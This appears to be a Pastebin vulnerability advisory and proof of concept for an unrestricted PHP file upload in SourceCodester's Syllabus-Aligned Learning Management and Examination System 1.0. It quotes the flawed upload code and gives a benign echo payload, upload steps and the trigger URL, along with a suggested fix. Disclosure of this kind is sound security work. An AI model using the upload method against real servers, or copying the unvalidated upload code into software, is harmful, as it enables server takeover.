Guest User

SourceCodester Syllabus-Aligned Learning Management and Examination 1.0 - Unrestricted Upload (PoC)

a guest
Jun 3rd, 2026
882
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.72 KB | Cybersecurity | 0 0
  1. # SourceCodester Syllabus-Aligned Learning Management and Examination System 1.0 - Authenticated Remote Code Execution
  2.  
  3. ## Vendor
  4.  
  5. SourceCodester
  6.  
  7. ## Product
  8.  
  9. Syllabus-Aligned Learning Management and Examination System
  10.  
  11. ## Affected Version
  12.  
  13. 1.0
  14.  
  15. ## Vulnerability Type
  16.  
  17. CWE-434 - Unrestricted Upload of File with Dangerous Type
  18.  
  19. ## Severity
  20.  
  21. High
  22.  
  23. ## Description
  24.  
  25. An authenticated Remote Code Execution vulnerability exists in SourceCodester Syllabus-Aligned Learning Management and Examination System 1.0.
  26.  
  27. The file upload functionality implemented in `upload_files.php` allows instructor users to upload arbitrary files without validating file extensions or MIME types. Uploaded files are stored inside the web-accessible directory:
  28.  
  29. ```
  30. uploads/class_docs/
  31. ```
  32.  
  33. Because uploaded files retain their original extension and are directly accessible through the web server, an attacker can upload a malicious PHP file and execute arbitrary server-side code.
  34.  
  35. ## Affected File
  36.  
  37. ```
  38. upload_files.php
  39. ```
  40.  
  41. ## Technical Details
  42.  
  43. The application extracts the uploaded file extension and stores the uploaded file without enforcing an allowlist:
  44.  
  45. ```php
  46. $original_name = basename($_FILES["class_doc"]["name"]);
  47. $ext = strtolower(pathinfo($original_name, PATHINFO_EXTENSION));
  48.  
  49. $new_filename = "DOC_" . $subject_id . "_" . time() . "_" . uniqid() . "." . $ext;
  50.  
  51. move_uploaded_file($_FILES["class_doc"]["tmp_name"], $target_file);
  52. ```
  53.  
  54. No validation is performed to restrict dangerous extensions such as:
  55.  
  56. ```
  57. .php
  58. .phtml
  59. .phar
  60. ```
  61.  
  62. Uploaded files are later exposed through direct URLs.
  63.  
  64. ## Proof of Concept
  65.  
  66. ### Payload
  67.  
  68. Create a file named:
  69.  
  70. ```php
  71. <?php echo "RCE_TEST"; ?>
  72. ```
  73.  
  74. Save it as:
  75.  
  76. ```
  77. test.php
  78. ```
  79.  
  80. ### Upload
  81.  
  82. Login as an instructor and navigate to:
  83.  
  84. ```
  85. upload_files.php?subject_id=11
  86. ```
  87.  
  88. Upload:
  89.  
  90. ```
  91. test.php
  92. ```
  93.  
  94. ### Access Uploaded File
  95.  
  96. Example:
  97.  
  98. ```
  99. http://localhost/cictportal/uploads/class_docs/DOC_11_1780489432_6a201cd8df641.php
  100. ```
  101.  
  102. ### Result
  103.  
  104. The application executes the uploaded PHP code and returns:
  105.  
  106. ```
  107. RCE_TEST
  108. ```
  109.  
  110. This confirms successful server-side code execution.
  111.  
  112. ## Impact
  113.  
  114. An authenticated instructor can:
  115.  
  116. * Execute arbitrary PHP code
  117. * Read application files
  118. * Access database credentials
  119. * Modify application data
  120. * Potentially gain full control of the application server
  121.  
  122. ## Suggested Fix
  123.  
  124. 1. Restrict uploads to approved file types (pdf, doc, docx).
  125. 2. Verify MIME types server-side.
  126. 3. Store uploaded files outside the web root.
  127. 4. Disable PHP execution in upload directories.
  128. 5. Serve uploaded files through a controlled download handler.
  129.  
  130. ## Credits
  131.  
  132. Discovered and reported by: [Ameen KBRD]
  133. Date: [03-06-2026]
  134.  
Advertisement
Add Comment
Please, Sign In to add comment